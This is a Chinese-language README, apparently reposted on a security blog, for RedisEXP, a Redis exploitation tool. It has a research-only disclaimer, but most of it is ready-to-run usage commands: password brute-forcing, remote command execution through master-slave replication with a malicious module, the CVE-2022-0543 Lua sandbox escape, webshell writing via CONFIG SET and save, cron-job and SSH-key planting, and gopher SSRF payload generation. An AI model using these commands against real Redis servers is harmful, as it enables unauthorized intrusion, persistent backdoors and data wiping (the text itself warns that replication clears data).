Redis 漏洞利用工具
声明
本工具仅用于个人安全研究学习。由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,工具作者不为此承担任何责任。
注意
主从复制会清空数据,主从复制会清空数据,主从复制会清空数据,请注意使用!请注意使用!请注意使用!
██████╗ ███████╗██████╗ ██╗███████╗ ███████╗██╗ ██╗██████╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗
██████╔╝█████╗ ██║ ██║██║███████╗ █████╗ ╚███╔╝ ██████╔╝
██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██╔══╝ ██╔██╗ ██╔═══╝
██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝
基本连接:
RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456
爆破 Redis 密码:
RedisExp.exe brute -r 192.168.19.1 -f pass.txt
主从复制执行命令 (默认是交互式 shell)(Redis版本 4.x - 5.x):
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -c whoami (单次执行)
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -f exp.so (Linux)
主从复制文件上传 (windows 中文需要设置gbk)(Redis版本 4.x - 5.x):
RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -d c:\中文\ -f shell.php -F shell.txt -g
RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -f shell.php -F shell.txt
Lua沙盒绕过命令执行 CVE-2022-0543:
RedisExp.exe lua -r 192.168.19.6 -c whoami
备份写 Webshell (Windows 中文路径要设置gbk, linux 中文路径不用设置):
RedisExp.exe shell -r 192.168.19.1 -d c:\中文\ -f shell.php -s "<?php phpinfo();?>" -g
Linux 写计划任务:
RedisExp.exe cron -r 192.168.19.1 -L 127.0.0.1 -P 2222
Linux 写 SSH 公钥:
RedisExp.exe ssh -r 192.168.19.1 -u root -s "ssh-rsa AAAAB"
执行 Redis 命令:
RedisExp.exe cli -r 192.168.19.1
生成 gopher ssrf redis payload:
RedisExp.exe gopher -f 1.txt
写文件
flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
- 具体命令使用 -h 来查看
- exp.dll 和 exp.so 来自 https://github.com/0671/RabR 已经把内容分别加载到 dll.go 和 so.go 可以直接调用。
- Windows 中文路径需要设置gbk,使用 -g 参数就可以了。
报错
工具报错:[ERR Error loading the extension. Please check the server logs.] module load /tmp/exp.so
服务端报错:Module /tmp/exp.so failed to load: It does not have execute permissions.
有可能是 Redis 版本太高, exp.so 没有执行权限导致加载不了。具体需要查看服务端的报错
下载
https://github.com/yuyan-sec/RedisEXP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论